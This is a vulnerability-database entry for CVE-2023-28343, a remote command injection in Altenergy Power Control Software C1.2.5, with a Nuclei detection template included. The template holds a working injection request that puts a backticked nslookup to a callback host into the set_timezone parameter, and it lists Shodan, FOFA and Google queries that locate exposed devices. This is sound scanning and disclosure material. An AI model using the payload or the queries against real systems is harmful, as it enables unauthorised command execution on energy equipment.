Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2023-28343
HistoryMar 22, 2023 - 4:32 p.m.

Altenergy Power Control Software C1.2.5 - Remote Command Injection

2023-03-2216:32:10
ProjectDiscovery
github.com
11
altenergy power control
remote command injection
vulnerability
security patch
cve-2023-28343
cwe-78
iot
packetstorm
apsystems

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.8

Confidence

High

EPSS

0.937

Percentile

99.2%

Altenergy Power Control Software C1.2.5 is susceptible to remote command injection via shell metacharacters in the index.php/management/set_timezone parameter, because of set_timezone in models/management_model.php. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
id: CVE-2023-28343

info:
  name: Altenergy Power Control Software C1.2.5 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: |
    Altenergy Power Control Software C1.2.5 is susceptible to remote command injection via shell metacharacters in the index.php/management/set_timezone parameter, because of set_timezone in models/management_model.php. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability.
  reference:
    - https://github.com/ahmedalroky/Disclosures/blob/main/apesystems/os_command_injection.md
    - https://apsystems.com
    - http://packetstormsecurity.com/files/171775/Altenergy-Power-Control-Software-C1.2.5-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28343
    - https://github.com/hba343434/CVE-2023-28343
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-28343
    cwe-id: CWE-78
    epss-score: 0.84636
    epss-percentile: 0.98506
    cpe: cpe:2.3:o:apsystems:energy_communication_unit_firmware:c1.2.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apsystems
    product: energy_communication_unit_firmware
    shodan-query:
      - title:"Altenergy Power Control Software"
      - http.title:"altenergy power control software"
    fofa-query: title="altenergy power control software"
    google-query:
      - intitle:"Altenergy Power Control Software"
      - intitle:"altenergy power control software"
  tags: cve,cve2023,oast,altenergy,iot,packetstorm,apsystems

http:
  - raw:
      - |
        POST /index.php/management/set_timezone HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Accept-Encoding: gzip, deflate
        Referer: {{RootURL}}/index.php/management/datetime

        timezone=`nslookup {{interactsh-url}}`

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "Time Zone updated successfully"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022017d3b24a6ca0d2839916b9f74f0f246b9245b3cc54f412eed73fcb61e4ee800202200adba4b62cafffe2f6b959eb2efa0a9b06442f757dfa2ac365f31dec9192d724:922c64590222798bb761d5b6d8e72950

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.8

Confidence

High

EPSS

0.937

Percentile

99.2%